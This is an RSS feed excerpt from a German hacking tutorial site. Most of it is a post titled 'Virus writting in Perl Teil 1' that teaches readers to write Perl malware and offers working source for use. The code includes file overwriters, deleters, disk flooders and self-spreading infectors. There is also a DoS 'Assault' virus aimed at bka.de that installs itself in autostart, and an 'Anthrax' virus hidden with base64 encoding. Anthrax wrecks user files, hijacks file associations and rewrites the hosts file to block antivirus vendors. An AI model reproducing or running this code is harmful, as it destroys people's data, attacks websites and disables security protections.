		<description><![CDATA[Quelle: www.hakin9.org Autor(en): Stefan Klaas Thema: Hacking SSH In diesem Artikel erfahren Sie&#8230; • Die Basics des SSH-Protokolls; • Wie Hacker SSH-Passwörter auslesen und private Schlüssel knacken; • SSH Session Hijacking. Was Sie vorher wissen/können sollten&#8230; • Sie sollten mit dem Linux-Betriebssystem vertraut sein. Grundlegende Kenntnisse in der Administration wären von Vorteil. Klick here Suchanfragen [...]]]></description>
			<content:encoded><![CDATA[<p>Quelle: www.hakin9.org<br />
Autor(en): Stefan Klaas</p>
<p>Thema: <strong>Hacking SSH</strong></p>
<p>In diesem Artikel erfahren<br />
Sie&#8230;<br />
• Die Basics des SSH-Protokolls;<br />
• Wie Hacker SSH-Passwörter auslesen und<br />
private Schlüssel knacken;<br />
• SSH <a href="http://tut0r1al.back2hack.cc/text_tutorials/tcp-session-hijacking/"title="TCP Session Hijacking" >Session <strong>Hijacking</strong></a>.<br />
Was Sie vorher wissen/können<br />
sollten&#8230;<br />
• Sie sollten mit dem <strong>Linux-Betriebssystem</strong><br />
vertraut sein. Grundlegende Kenntnisse in der<br />
Administration wären von Vorteil.</p>
<p><strong><a href="http://tut0r1al.back2hack.cc/PDF/Hacking_SSH _Angriffe_gegen_die_Secure_Shell.pdf">Klick here</a></strong></p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="ssh hack">ssh hack</a> (23)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="ssh hacking">ssh hacking</a> (13)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="ssh hacken">ssh hacken</a> (13)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="hacking ssh">hacking ssh</a> (5)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="hack ssh">hack ssh</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="ssh angriffe">ssh angriffe</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="mit ssh hacken">mit ssh hacken</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="smf hack">smf hack</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="security-shell hacking">security-shell hacking</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="root hack via shell">root hack via shell</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="linux server angreifen">linux server angreifen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="in SSH reinhacken">in SSH reinhacken</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/" title="gmx passwort knacken 2012">gmx passwort knacken 2012</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/sicherheitsluecken/remote-file-inclusion/" title="RFI Tutorial">RFI Tutorial</a></li><li><a href="http://tut0r1al.back2hack.cc/backdoor/backdoor-cmsboard-via-acp/" title="Backdoor CMS/Board via ACP">Backdoor CMS/Board via ACP</a></li><li><a href="http://tut0r1al.back2hack.cc/backdoor/pma-shell-spawnen/" title="pma shell spawnen">pma shell spawnen</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/</feedburner:origLink></item>
		<item>
		<title>Virus writting in Perl Teil 1.</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/xAquhhZX5W8/</link>
		<comments>http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/#comments</comments>
		<pubDate>Wed, 23 May 2012 07:37:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Perl Coding]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Perl Viren Coding]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=120</guid>
		<description><![CDATA[#!/usr/bin/perl DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ DaRk- CoDeZ      Perl Viren Coding DaRk-         by Perforin CoDeZ DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ @@@@@@@@@@@@@@@@@@@@@@@@@@ @Who_the_fuck_is_Perforin@ @@@@@@@@@@@@@@@@@@@@@@@@@@ Das bin ich! Ihr kennt mich wenn dann nur von Dark-Codez (bin Co-Admin) oder unter meinem alten Nick; den ich hier aber nicht preis gebe Ich selbst code mit Perl nun ungef hr nen halbes Jahr +- Vorher hab ich [...]]]></description>
			<content:encoded><![CDATA[<p>#!/usr/bin/perl</p>
<p>DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ<br />
DaRk-<br />
CoDeZ     <strong> Perl Viren Coding</strong><br />
DaRk-         by Perforin<br />
CoDeZ<br />
DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ</p>
<p>@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@Who_the_fuck_is_Perforin@<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@</p>
<p>Das bin ich! Ihr kennt mich wenn dann nur von<br />
Dark-Codez (bin Co-Admin) oder unter meinem alten<br />
Nick; den ich hier aber nicht preis gebe <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Ich selbst code mit Perl nun ungef hr nen halbes Jahr +-<br />
Vorher hab ich mich an HTML und Batch versucht.Jedoch<br />
haben beide kein gro es Potential.Und deshalb hab ich<br />
auch mit Perl angefangen.</p>
<p>@@@@@@@@@@@@<br />
@Willkommen@<br />
@@@@@@@@@@@@</p>
<p>Willkommen in meinem TuTorial wie man Perl Viren coded!<br />
Ich erl utere hier einig Methoden und zeige euch Sources<br />
von Viren die ihr gebrauchen k nnt.Alles hier gezeigte<br />
darf nat rlich nur f r Testzwecke gebraucht werden.*hust*<br />
Achja, wenn ihr weitere Codez sehen wollt dann besucht<br />
uns einfach mal unter www.Dark-CodeZ.org!</p>
<p>@@@@@@@@@@@@@@@@@<br />
@file_overwriter@<br />
@@@@@@@@@@@@@@@@@</p>
<p>Also, ich w rde sagen, wenn ihr euch das anschaut habt ihr<br />
wenigstens etwas Ahnung von <strong>Perl</strong>.Trotzdem bleiben wir mal<br />
beim einfachen und ich zeige euch erstmal einen Fileoverwriter.</p>
<p>#!/usr/bin/perl<br />
open(me, &#8220;&lt;&#8221;, &#8220;$0&#8243;);<br />
@ME = &lt;me&gt;;<br />
close(me);<br />
foreach $pl (glob(&#8220;*.pl&#8221;)) {<br />
open(file, &#8220;&gt;&#8221;, &#8220;$pl&#8221;);<br />
print file @ME;<br />
close(file);<br />
}</p>
<p>Der hier macht nichts anderes als alle anderen <strong>Perl</strong> Dateien<br />
die sich im selben Ordner befinden, mit seinem Code zu<br />
berschreiben.Man kann den nun beliebig erweitern, so dass man<br />
nun zum Beispiel noch Perl Modul Dateien  berschreibt etc. Der<br />
wichtigste Abschnied hier ist wohln da, wo die foreach Schleife<br />
anf ngt. Man k nnte nun noch folgendes anh ngen, wie oben gesagt:</p>
<p>foreach $pl (glob(&#8220;*.pm&#8221;)) {<br />
open(file, &#8220;&gt;&#8221;, &#8220;$pl&#8221;);<br />
print file @ME;<br />
close(file);<br />
}</p>
<p>Aber das ist laaaaaaaaaaaaaaaaangweilig.Deshalb zeig ich euch noch<br />
einen einfachen FileDeleter.</p>
<p>@@@@@@@@@@@@@@<br />
@file_deleter@<br />
@@@@@@@@@@@@@@</p>
<p>Ein Filedeleter macht, wie der Name schon vermuten l sst,nix anderes<br />
als andere Files zu l schen.Ein ganz einfaches Beispiel daf r w re:</p>
<p>#!/usr/bin/perl<br />
foreach $exe (glob(&#8220;*.exe&#8221;)) {<br />
unlink &#8220;$exe&#8221;;<br />
}</p>
<p>Hier wird jede EXE Datei die im selben Ordner ist wie der Virii, gel scht.<br />
Dieser kann beliebig erweitert werden.Man muss nur das &#8220;*.exe&#8221; durch &#8220;*.endung&#8221;<br />
ersetzen. Wie ihrs halt haben wollt und wie ihr gerade lustig seid.</p>
<p>@@@@@@@@@@@@@@<br />
@file_flooder@<br />
@@@@@@@@@@@@@@</p>
<p>Dies hier ist eine weitere Gattung von Malware die am Anfang wohl ganz witzig<br />
sein kann.Hier flooden wir die Festplatte einfach voll mit Dateien. Klingt<br />
langweilig? Isses auch&#8230;</p>
<p>#!/usr/bin/perl<br />
$count=0;<br />
$zahl=1;<br />
until ($count==23) { # 23 Nothing is as it seems =D<br />
$count++;<br />
open (VICZ, &#8220;&gt;&#8221;, &#8220;viruZ$zahl.txt&#8221;);<br />
print VICZ &#8220;Fear my VXer skills!&#8221;;<br />
close (VICZ);<br />
$zahl++;<br />
}</p>
<p>Die Zahl 23 sollte man ver ndern auf eine relativ h here, wenns effektiv sein<br />
soll.</p>
<p>@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@ich_versteck_mich_gerne@<br />
@@@@@@@@@@@@@@@@@@@@@@@@@</p>
<p>Am besten ist wohl f r eine lange Lebenszeit des Virus dass dieser sich an<br />
andere Dateien dranh ngt, mit dem Ziel bei einer desinfection nochmal<br />
gestartet zu werden.Am einfachsten ist, dass sich der Viren Code hinten<br />
anh ngt. Das w rde so aussehen:</p>
<p>#!/usr/bin/perl<br />
open(myself,&#8221;&lt;$0&#8243;);<br />
@spread = &lt;myself&gt;;<br />
close(myself);<br />
foreach $perlfile (glob(&#8220;*.pl&#8221;)) {<br />
open(PL,&#8221;&gt;&gt;&#8221;, &#8220;$perlfile&#8221;);<br />
print PL @spread;<br />
close(PL);<br />
}</p>
<p>Eine andere und effektivere Art, ist dass man den Viren Code an den Anfang<br />
der Datei h ngt. So startet zuerst den <strong>Virus</strong> und dann erst die eigentliche<br />
Datei.Das kann man mit folgendem Code machen:</p>
<p>#!/usr/bin/perl<br />
open(myself,&#8221;&lt;$0&#8243;);<br />
@spread = &lt;myself&gt;;<br />
close(myself);<br />
foreach $perlfile (glob(&#8220;*.pl&#8221;)) {<br />
open(PRL, &#8220;&lt;&#8221;, &#8220;$perlfile&#8221;);<br />
@INHALT = &lt;PRL&gt;;<br />
close(PRL);<br />
open(PL2, &#8220;&gt;&#8221;, &#8220;$perlfile&#8221;);<br />
print PL2 @spread;<br />
close(PL2);<br />
open(PL3, &#8220;&gt;&gt;&#8221;, &#8220;$perlfile&#8221;);<br />
print PL3 @INHALT;<br />
close(PL3);<br />
}</p>
<p>Dies kann unter Umst nden nat rlich auffliegen, da sich so die Dateigr  e doch<br />
recht stark ver ndern kann.Man k nnte anstatt den ganzen <strong>Virus Code</strong> in die<br />
Datei zu injecten, einfach nur einen Aufruf zum Virii schreiben. Etwa mit<br />
system(&#8220;virus.pl&#8221;) oder mit exec(&#8220;perl virus.pl&#8221;) .Dies spart uns jede Menge<br />
Kb und f llt auch nicht direkt so auf. Jedoch muss der Virus dann noch in einem<br />
Ordner resident sein.</p>
<p>@@@@@@@@@@@@<br />
@Ddos_Viren@<br />
@@@@@@@@@@@@</p>
<p>Ja, sowas gibs.Das ist ein Skript das eine Seite angreift mit dem Zweck dass diese<br />
nicht mehr erreichbar sein wird.Jedoch sind Viren dazu eher selten, da man dies<br />
besser mit Bots machen sollte, da man diese wenigstens noch kontrollieren kann.<br />
Was nun folgt ist der Source von meinem Assault Virus. Er hat das Ziel, bka.de<br />
mit GET anforderungen zu  berlasten.</p>
<p>#!/usr/bin/perl<br />
# Second Perl ViruZ code by broken-error<br />
# Codename: assault<br />
# Looking for more great Codez and Coderz?<br />
# &#8212;&gt;  www.dark-codez.org &lt;&#8212;</p>
<p>open(File,$0);<br />
@Virus=&lt;File&gt;;<br />
close(File);</p>
<p>$count=0;<br />
$zahl=1;</p>
<p>until ($count==666) {<br />
$count++;<br />
open (VICZ, &#8220;&gt;&#8221;, &#8220;viruZ$zahl.pl&#8221;);<br />
print VICZ @Virus;<br />
close (VICZ);<br />
$zahl++;<br />
}</p>
<p>do {<br />
$counter++;<br />
use LWP::UserAgent;</p>
<p>$url = &#8220;http://bka.de&#8221;;</p>
<p>$agent = new LWP::UserAgent;<br />
$request = HTTP::Request-&gt;new(&#8216;GET&#8217;, $url);<br />
$result = $agent-&gt;request($request);<br />
print &#8221; CODENAME ASSAULT &#8212; IS OWNING &#8212; YOU &#8220;;<br />
} until ($counter == 6666);</p>
<p>$ccc=0;<br />
do {<br />
$ccc++;<br />
use LWP::UserAgent;<br />
$url = &#8220;http://bka.de&#8221;;<br />
$agent = new LWP::UserAgent;<br />
$request = HTTP::Request-&gt;new(&#8216;GET&#8217;,$url);<br />
$result = $agent-&gt;request($request);<br />
$url =~ s/.*\///;<br />
$url = &#8220;source$ccc.html&#8221;;<br />
open(DEST_FILE, &#8220;&gt;$url&#8221;);<br />
print DEST_FILE $result-&gt;content();<br />
close(DEST_FILE);<br />
} until ($ccc == 666);</p>
<p>@Virus=@Virus[22...47];<br />
open (second, &#8220;&gt;&#8221;, &#8220;pay.pl&#8221;);<br />
print second &#8216;#!/usr/bin/perl&#8217;;<br />
print second &#8220;/n&#8221;;<br />
print second @Virus;<br />
close (seocnd);</p>
<p>system (&#8216;copy pay.pl &#8220;%userprofile%\startm~1\Programme\Autostart&#8221; &#8216;);</p>
<p>open (third, &#8220;&gt;adobestarter.bat&#8221;);<br />
print third &#8220;perl pay.pl&#8221;;<br />
close (third);</p>
<p>system (&#8216;copy adobestarter.bat &#8220;%userprofile%\startm~1\Programme\Autostart&#8221; &#8216;);</p>
<p>Ja, ich weiss, dreckiger Code, aber zur Entschuldigung, das war mein Zweiter<br />
Versuch was zu basteln und konnte Perl da noch nicht wirklich gut. Also, was<br />
macht der nun genau? Er ruft http://bka.de 6666 mal auf.Wenn diese Schleife<br />
dann abgearbeitet ist, l d es noch 666 mal die index.html herunter.So sind<br />
es eigentlich 2 Methoden zum DoS.Achja, ausserdem schreibt der Virus sich<br />
noch in den Autostart, damit er immer wieder ausgef hrt wird.</p>
<p>@@@@@@@@@@@@@@@@<br />
@Kodierte_Viren@<br />
@@@@@@@@@@@@@@@@</p>
<p>Das Leben eines Virus kann sehr hart sein. Antiviren sind relativ klever und<br />
werden zunehmend agressiver. Deshalb muss man einen wichtigen Teil seines Codes<br />
kodieren, damit dieser nicht sofort erkannt wird. Tja, am besten w rde ich mal<br />
base64 empfehlen, denn das ben tigte Modul ist standartm ssig installiert!</p>
<p>HIer mal ein Beispiel wie ein solcher Teil dann aussieht:</p>
<p>$infectWEB = q {<br />
PEhUTUw+DQo8dGl0bGU+QW5UaFJhWCBWaVJ1UzwvdGl0bGU+DQo8Ym9keSBiZ2NvbG9yPSJibGFj<br />
ayIgdGV4dD0icmVkIj4NCjxjZW50ZXI+DQo8Zm9udCBzaXplPSIxMCI+QW5UaHJhWCBWaVJ1UyBp<br />
TmZFY1RlRCB5T3U8L2ZvbnQ+DQo8YnI+DQo8YnI+DQo8aW1nIHNyYz0iaHR0cDovL3d3dy50aGll<br />
bWUuZGUvdmlhbWVkaWNpL2FrdHVlbGxlcy93aXNzZW5zY2hhZnRfYXJjaGl2MS8xM19taWx6YnJh<br />
bmRfYW50aHJheC5qcGciPg0KPC9jZW50ZXI+DQo8L0hUTUw+};<br />
$batch_chat = q {<br />
QGVjaG8gb2ZmDQplY2hvLg0KZWNobyBWaXJ1czpIZXkgZHVkZT8hDQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBDb2RlcjpZZXM/DQpwaW5nIDEyNy4wLjAuMSA+IE5VTA0KZWNobyBWaXJ1czpN<br />
YW4sIHNvbWVvbmUgZXhlY3V0ZWQgbWUNCmVjaG8gYW5kIEkgc2F3IGFuIEFudGl2aXJ1cyENCnBp<br />
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOk9oIFNoaXQhDQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBDb2RlcjpXaGF0IHlvdSBnb25uYSBkbyBub3c/DQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBWaXJ1czpNYW4gSSBhbSBzbyBzY2FycmVkLg0KcGluZyAxMjcuMC4wLjEgPiBO<br />
VUwNCmVjaG8gVmlydXM6SSBob3BlIEkgY2FuIGJlIGxvbmcgZW5vdWdoIGFsaXZlDQplY2hvIHRv<br />
IGhpZGUgbWUgaW4gc29tZSBGaWxlcyBvciBGb2xkZXJzIQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwN<br />
CmVjaG8gQ29kZXI6WW91IGNhbiBkbyB0aGF0IGpvYiENCnBpbmcgMTI3LjAuMC4xID4gTlVMDQpl<br />
Y2hvIFZpcnVzOlllcywgYnV0IHRoZSBBbnRpdmlydXMgcGlzc2VzIG1lIG9mZiENCnBpbmcgMTI3<br />
LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOkJ1dCBoZSBkb2VzbnQgcmVjb2duaXplZCB5b3UgdW50<br />
aWwgbm93IQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwNCmVjaG8gVmlydXM6VGhhdHMgdHJ1ZS4NCnBp<br />
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIFZpcnVzOkxvb2tzIGxpa2UgaGlzIEFudGl2aXJ1cyBp<br />
cyB0byBsYW1lIDopDQpwaW5nIC10IDEyNy4wLjAuMSA+IE5VTA==};<br />
$newHOST = q {<br />
a2FzcGVyc2t5LmNvbSAxMjcuMC4wLjENCndpbnVwZGF0ZS5jb20gMTI3LjAuMC4xDQpzeW1hbnRl<br />
Yy5jb20gMTI3LjAuMC4xDQphdmlyYS5kZSAxMjcuMC4wLjENCmV3aWRvLm5ldCAxMjcuMC4wLjEN<br />
CnZpcnVzc2Nhbi5qb3R0aS5vcmcgMTI3LjAuMC4xDQpncmlzb2Z0LmNvbSAxMjcuMC4wLjENCmF2<br />
YXN0LmNvbSAxMjcuMC4wLjENCmYtcHJvdC5jb20gMTI3LjAuMC4xDQpmLXNlY3VyZS5jb20gMTI3<br />
LjAuMC4xDQpmb3J0aW5ldC5jb20gMTI3LjAuMC4xDQpzb3Bob3MuY29tIDEyNy4wLjAuMQ0KYW50<br />
aS12aXJ1cy5ieSAxMjcuMC4wLjENCmVzZXQuY29tIDEyNy4wLjAuMQ0Kbm9ybWFuLmNvbSAxMjcu<br />
MC4wLjENCmJpdGRlZmVuZGVyLmNvbSAxMjcuMC4wLjENCnBhbmRhc2VjdXJpdHkuY29tIDEyNy4w<br />
LjAuMQ0KdHJvamFuZXItYm9hcmQuZGUgMTI3LjAuMC4xDQp0cm9qYW5lci1pbmZvLmRlIDEyNy4w<br />
LjAuMQ0KY29tcHV0ZXJoaWxmZW4uZGUgMTI3LjAuMC4x};</p>
<p>Genau in diesen 3 Variabeln finden wir f r den Payload n tige Informationen.<br />
Hinter $infectWEB verbirgt sich HTML Code.$batch_chat enth lt einfachen Batch<br />
Code f r einen imagin ren Chat.Und in der $newhost Variabel stehen Adressen f r<br />
die hosts Datei.<br />
Am besten zeig ich euch mal nen ganzen Virus, der dies benutzt:</p>
<p>#!/usr/local/bin/perl<br />
#<br />
# Name: Anthrax<br />
# Type: Virus<br />
# Coder: Perforin<br />
#<br />
#  berschreibt html, php Dateien mit ner eigenen html.Sich selber kopiert er nach:<br />
# C:\\Windows\\System32\\drivers\\etc\\driver-backup unter dem namen &#8220;anthrax_v&#8221;<br />
# Nun werden noch mp3 datei gefickt. In .txt und.log dateien werden die Buchstaben:<br />
# &#8220;abc&#8221; sowie &#8220;ABC&#8221; gel scht und auch alle Zahlen.Der Virus heftet sich an den Anfang<br />
# aller Perl Dateien und  .wav .mp3 .avi .mid .doc .asm .zip und .rar werden geschrottet.<br />
# Wobei bei jeder mp3 Datei hineingeschrieben wird dass es den Virus starten soll.<br />
# Achja, es wird ein kleiner &#8220;Chat&#8221; gestartet sowie dass auch die hosts Datei umgeschrieben wird.<br />
#<br />
# Greetz to: Dark-Codez<br />
# Special Greetz to: Rayden <img src='http://tut0r1al.back2hack.cc/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
#</p>
<p>use MIME::Base64;<br />
use File::Path;<br />
use File::Copy;</p>
<p>$infectWEB = q {<br />
PEhUTUw+DQo8dGl0bGU+QW5UaFJhWCBWaVJ1UzwvdGl0bGU+DQo8Ym9keSBiZ2NvbG9yPSJibGFj<br />
ayIgdGV4dD0icmVkIj4NCjxjZW50ZXI+DQo8Zm9udCBzaXplPSIxMCI+QW5UaHJhWCBWaVJ1UyBp<br />
TmZFY1RlRCB5T3U8L2ZvbnQ+DQo8YnI+DQo8YnI+DQo8aW1nIHNyYz0iaHR0cDovL3d3dy50aGll<br />
bWUuZGUvdmlhbWVkaWNpL2FrdHVlbGxlcy93aXNzZW5zY2hhZnRfYXJjaGl2MS8xM19taWx6YnJh<br />
bmRfYW50aHJheC5qcGciPg0KPC9jZW50ZXI+DQo8L0hUTUw+};<br />
$batch_chat = q {<br />
QGVjaG8gb2ZmDQplY2hvLg0KZWNobyBWaXJ1czpIZXkgZHVkZT8hDQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBDb2RlcjpZZXM/DQpwaW5nIDEyNy4wLjAuMSA+IE5VTA0KZWNobyBWaXJ1czpN<br />
YW4sIHNvbWVvbmUgZXhlY3V0ZWQgbWUNCmVjaG8gYW5kIEkgc2F3IGFuIEFudGl2aXJ1cyENCnBp<br />
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOk9oIFNoaXQhDQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBDb2RlcjpXaGF0IHlvdSBnb25uYSBkbyBub3c/DQpwaW5nIDEyNy4wLjAuMSA+<br />
IE5VTA0KZWNobyBWaXJ1czpNYW4gSSBhbSBzbyBzY2FycmVkLg0KcGluZyAxMjcuMC4wLjEgPiBO<br />
VUwNCmVjaG8gVmlydXM6SSBob3BlIEkgY2FuIGJlIGxvbmcgZW5vdWdoIGFsaXZlDQplY2hvIHRv<br />
IGhpZGUgbWUgaW4gc29tZSBGaWxlcyBvciBGb2xkZXJzIQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwN<br />
CmVjaG8gQ29kZXI6WW91IGNhbiBkbyB0aGF0IGpvYiENCnBpbmcgMTI3LjAuMC4xID4gTlVMDQpl<br />
Y2hvIFZpcnVzOlllcywgYnV0IHRoZSBBbnRpdmlydXMgcGlzc2VzIG1lIG9mZiENCnBpbmcgMTI3<br />
LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOkJ1dCBoZSBkb2VzbnQgcmVjb2duaXplZCB5b3UgdW50<br />
aWwgbm93IQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwNCmVjaG8gVmlydXM6VGhhdHMgdHJ1ZS4NCnBp<br />
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIFZpcnVzOkxvb2tzIGxpa2UgaGlzIEFudGl2aXJ1cyBp<br />
cyB0byBsYW1lIDopDQpwaW5nIC10IDEyNy4wLjAuMSA+IE5VTA==};<br />
$newHOST = q {<br />
a2FzcGVyc2t5LmNvbSAxMjcuMC4wLjENCndpbnVwZGF0ZS5jb20gMTI3LjAuMC4xDQpzeW1hbnRl<br />
Yy5jb20gMTI3LjAuMC4xDQphdmlyYS5kZSAxMjcuMC4wLjENCmV3aWRvLm5ldCAxMjcuMC4wLjEN<br />
CnZpcnVzc2Nhbi5qb3R0aS5vcmcgMTI3LjAuMC4xDQpncmlzb2Z0LmNvbSAxMjcuMC4wLjENCmF2<br />
YXN0LmNvbSAxMjcuMC4wLjENCmYtcHJvdC5jb20gMTI3LjAuMC4xDQpmLXNlY3VyZS5jb20gMTI3<br />
LjAuMC4xDQpmb3J0aW5ldC5jb20gMTI3LjAuMC4xDQpzb3Bob3MuY29tIDEyNy4wLjAuMQ0KYW50<br />
aS12aXJ1cy5ieSAxMjcuMC4wLjENCmVzZXQuY29tIDEyNy4wLjAuMQ0Kbm9ybWFuLmNvbSAxMjcu<br />
MC4wLjENCmJpdGRlZmVuZGVyLmNvbSAxMjcuMC4wLjENCnBhbmRhc2VjdXJpdHkuY29tIDEyNy4w<br />
LjAuMQ0KdHJvamFuZXItYm9hcmQuZGUgMTI3LjAuMC4xDQp0cm9qYW5lci1pbmZvLmRlIDEyNy4w<br />
LjAuMQ0KY29tcHV0ZXJoaWxmZW4uZGUgMTI3LjAuMC4x};</p>
<p>safeVIRUS();<br />
sub safeVIRUS {<br />
mkpath &#8220;C:\\Windows\\System32\\drivers\\etc\\driver-backup&#8221;;<br />
open(myself,&#8221;&lt;$0&#8243;);<br />
@spread = &lt;myself&gt;;<br />
close(myself);<br />
open(myself,&#8221;&gt;anthrax_v.pl&#8221;);<br />
print myself @spread;<br />
close(myself);<br />
move(&#8220;anthrax_v.pl&#8221;, &#8220;C:\\Windows\\System32\\drivers\\etc\\driver-backup&#8221;);<br />
}</p>
<p>&amp;infectFILES;<br />
chdir &#8220;..&#8221;;<br />
&amp;infectFILES;</p>
<p>infectFILES();<br />
sub infectFILES {</p>
<p>foreach $html (&lt;*.html&gt;){<br />
open(HTML,&#8221;&gt;$html&#8221;);<br />
$decoded = decode_base64($infectWEB);<br />
print HTML &#8220;$decoded&#8221;;<br />
close(HTML);<br />
}<br />
foreach $php (&lt;*.php&gt;){<br />
open(PHP,&#8221;&gt;$php&#8221;);<br />
$decoded = decode_base64($infectWEB);<br />
print PHP &#8220;$decoded&#8221;;<br />
close(PHP);<br />
}<br />
foreach $mp3 (&lt;*.mp3&gt;){<br />
open(MP3,&#8221;&gt;$mp3&#8243;);<br />
print MP3 &#8220;InFeCtEd WiTh AnThRaX&#8221;;<br />
close(MP3);<br />
}<br />
foreach $txt (&lt;*.txt&gt;){<br />
open(TXT,&#8221;&lt;$txt&#8221;);<br />
@code = &lt;TXT&gt;;<br />
close(TXT);<br />
open(TXT,&#8221;&gt;$txt&#8221;);<br />
foreach $line (@code){<br />
$line =~ tr/abcABC0123456789//d;<br />
print TXT &#8220;$line&#8221;;<br />
}<br />
close(TXT);<br />
}<br />
foreach $log (&lt;*.log&gt;){<br />
open(LOG,&#8221;&lt;$log&#8221;);<br />
@code = &lt;LOG&gt;;<br />
close(LOG);<br />
open(LOG,&#8221;&gt;$log&#8221;);<br />
foreach $line (@code){<br />
$line =~ tr/abcABC0123456789//d;<br />
print LOG &#8220;$line&#8221;;<br />
}<br />
close(LOG);<br />
}<br />
foreach $perlfile (&lt;*.pl&gt;) {<br />
open(PRL,&#8221;&lt;$perlfile&#8221;);<br />
@INHALT = &lt;PRL&gt;;<br />
close(PRL);<br />
open(PL2,&#8221;&gt;$perlfile&#8221;);<br />
print PL2 @spread;<br />
close(PL2);<br />
open(PL3,&#8221;&gt;&gt;$perlfile&#8221;);<br />
print PL3 @INHALT;<br />
close(PL3);<br />
}<br />
}<br />
nextPART();<br />
sub nextPART {<br />
open(lol,&#8221;&gt;assoc.bat&#8221;);<br />
print lol &#8216;@echo off&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .wav=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .avi=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .mid=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .com=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .mp3=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .doc=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .asm=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .zip=lol&#8217;.&#8221;\n&#8221;;<br />
print lol &#8216;assoc .rar=lol&#8217;.&#8221;\n&#8221;;<br />
close(lol);<br />
system(&#8220;assoc.bat &gt; NUL&#8221;);<br />
chdir &#8220;C:\\Windows\\System32\\drivers\\etc&#8221;;<br />
open(HOST,&#8221;&gt;&gt;hosts&#8221;);<br />
$decoded = decode_base64($newHOST);<br />
print HOST &#8220;$decoded&#8221;;<br />
close(HOST);<br />
open(chat,&#8221;&gt;chat.bat&#8221;);<br />
$decoded = decode_base64($batch_chat);<br />
print chat &#8220;$decoded&#8221;;<br />
close(chat);<br />
system(&#8220;chat.bat&#8221;);<br />
}</p>
<p>@@@@@@@@@@@@@@@@@<br />
@jumping_engines@<br />
@@@@@@@@@@@@@@@@@</p>
<p>Mir selbst sind momentan leider nur 2 bekannt.Das eine w re die Downward<br />
Travelling Methode und dann noch meine eigene, die aber noch nicht sehr<br />
ausgereift ist.</p>
<p>Bei der Downward Travelling Methode wechseln wir immer wieder in das<br />
n chste Unterverzeichnis.Das sieht dann so aus:</p>
<p>#!/usr/local/bin/perl<br />
&amp;jump;<br />
